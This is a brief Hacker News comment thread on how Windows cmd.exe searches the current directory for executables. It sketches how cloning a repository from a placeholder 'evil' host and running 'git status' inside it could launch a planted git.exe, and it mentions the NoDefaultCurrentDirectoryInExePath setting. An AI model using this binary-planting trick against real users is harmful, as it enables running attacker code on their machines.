Hacker Newsnew | past | comments | ask | show | jobs | submitlogin

Could file a CVE with Microsoft then, cause thats kinda what cmd.exe is doing:

    > git clone git://evil evil
    > cd evil\
    > git status
The last line would execute git.exe from the cloned repo, wouldn't it?


No, `git` uses the binary in path, to use the repo file it should be `./git.exe`


On Linux.

Look for `NoDefaultCurrentDirectoryInExePath` if you want to learn about Windows.




Consider applying for YC's Winter 2027 batch! Applications are open till November 2.

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: